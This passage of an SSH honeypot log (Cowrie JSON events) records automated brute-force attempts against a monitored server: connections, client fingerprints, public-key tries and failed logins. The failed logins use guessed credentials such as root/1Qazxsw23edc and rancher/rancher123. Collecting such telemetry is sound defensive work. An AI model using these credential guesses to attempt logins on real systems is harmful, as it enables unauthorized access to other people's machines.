@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:35.808981Z","src_ip":"91.92.42.133","session":"aa73c024742a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:37.721822Z","src_ip":"91.92.42.133","session":"aa73c024742a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:38.867615Z","src_ip":"91.92.42.133","session":"aa73c024742a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43458,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a28d5082fc8","protocol":"ssh","message":"New connection: 91.92.42.133:43458 (159.203.135.109:22) [session: 0a28d5082fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:43.172475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:43.722656Z","src_ip":"91.92.42.133","session":"0a28d5082fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:43.727080Z","src_ip":"91.92.42.133","session":"0a28d5082fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:44.921065Z","src_ip":"91.92.42.133","session":"0a28d5082fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:46.044310Z","src_ip":"91.92.42.133","session":"0a28d5082fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43816,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc42bd1d2543","protocol":"ssh","message":"New connection: 91.92.42.133:43816 (159.203.135.109:22) [session: dc42bd1d2543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:51.539779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:51.545129Z","src_ip":"91.92.42.133","session":"dc42bd1d2543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:51.629607Z","src_ip":"91.92.42.133","session":"dc42bd1d2543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:52.188774Z","src_ip":"91.92.42.133","session":"dc42bd1d2543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:53.273256Z","src_ip":"91.92.42.133","session":"dc42bd1d2543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":46938,"dst_ip":"159.203.135.109","dst_port":22,"session":"35611553f0c4","protocol":"ssh","message":"New connection: 112.216.108.62:46938 (159.203.135.109:22) [session: 35611553f0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:55.331666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:55.336312Z","src_ip":"112.216.108.62","session":"35611553f0c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:55.538146Z","src_ip":"112.216.108.62","session":"35611553f0c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Qazxsw23edc","message":"login attempt [root/1Qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:56.379166Z","src_ip":"112.216.108.62","session":"35611553f0c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:57.583837Z","src_ip":"112.216.108.62","session":"35611553f0c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53420,"dst_ip":"159.203.135.109","dst_port":22,"session":"be55542375da","protocol":"ssh","message":"New connection: 91.92.42.133:53420 (159.203.135.109:22) [session: be55542375da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:59.001823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:59.094063Z","src_ip":"91.92.42.133","session":"be55542375da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:59.099436Z","src_ip":"91.92.42.133","session":"be55542375da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:03:59.691779Z","src_ip":"91.92.42.133","session":"be55542375da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:00.822763Z","src_ip":"91.92.42.133","session":"be55542375da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55144,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8cdb9fea48b","protocol":"ssh","message":"New connection: 147.45.199.80:55144 (10.17.0.5:22) [session: c8cdb9fea48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:03.432748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:03.438152Z","src_ip":"147.45.199.80","session":"c8cdb9fea48b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:03.537711Z","src_ip":"147.45.199.80","session":"c8cdb9fea48b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17041982","message":"login attempt [root/17041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:03.826984Z","src_ip":"147.45.199.80","session":"c8cdb9fea48b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:04.925532Z","src_ip":"147.45.199.80","session":"c8cdb9fea48b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"d31759b5e3af","protocol":"ssh","message":"New connection: 91.92.42.133:36316 (159.203.135.109:22) [session: d31759b5e3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:06.894421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:07.034562Z","src_ip":"91.92.42.133","session":"d31759b5e3af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:07.038419Z","src_ip":"91.92.42.133","session":"d31759b5e3af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:08.220648Z","src_ip":"91.92.42.133","session":"d31759b5e3af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.145.38","src_port":19516,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ee04a224563","protocol":"ssh","message":"New connection: 89.163.145.38:19516 (10.17.0.5:22) [session: 9ee04a224563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:08.957865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:08.962259Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.048544Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.454993Z","src_ip":"91.92.42.133","session":"d31759b5e3af","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:b7:85:de:f3:20:34:8b:e9:83:fd:0a:12:43:5a:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwf4DmGM479C51TlD+Hjg/336quUg4sw1sySIWpgOCljnwCZOZtTXa2GS4GxvM7UpugQQ1/uIHcgZeFKd2dWJSqMY9KpNRZTql8c2rijQh0DsHCpkTiPQ8kT+TlclZ4vIStWNYfBuo8Ef0UEy+vKDSgcuOTOYcIh1GHs7bN5B5hI3oQXBHBeK6vzBYyT419KikRoP65PP6100ppAaZCsjtB5UxORdrphFyHQS0H13wGT0uLAwyZEj6TPJ2+0P0S1DlufpVpYPPxVQ/ZawTKMZsdHTbdw83u2awcg6sYABzeZIVGMhu2ZDaovW5hCgmxe0MDwpanKESxgMeMmQjAPPsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:b7:85:de:f3:20:34:8b:e9:83:fd:0a:12:43:5a:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.460310Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:b7:85:de:f3:20:34:8b:e9:83:fd:0a:12:43:5a:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwf4DmGM479C51TlD+Hjg/336quUg4sw1sySIWpgOCljnwCZOZtTXa2GS4GxvM7UpugQQ1/uIHcgZeFKd2dWJSqMY9KpNRZTql8c2rijQh0DsHCpkTiPQ8kT+TlclZ4vIStWNYfBuo8Ef0UEy+vKDSgcuOTOYcIh1GHs7bN5B5hI3oQXBHBeK6vzBYyT419KikRoP65PP6100ppAaZCsjtB5UxORdrphFyHQS0H13wGT0uLAwyZEj6TPJ2+0P0S1DlufpVpYPPxVQ/ZawTKMZsdHTbdw83u2awcg6sYABzeZIVGMhu2ZDaovW5hCgmxe0MDwpanKESxgMeMmQjAPPsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:09.462920Z","src_ip":"89.163.145.38","session":"9ee04a224563","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:59:9c:0e:c2:23:91:1e:f9:02:51:14:ad:31:a0:b0","key":"ssh-rsa 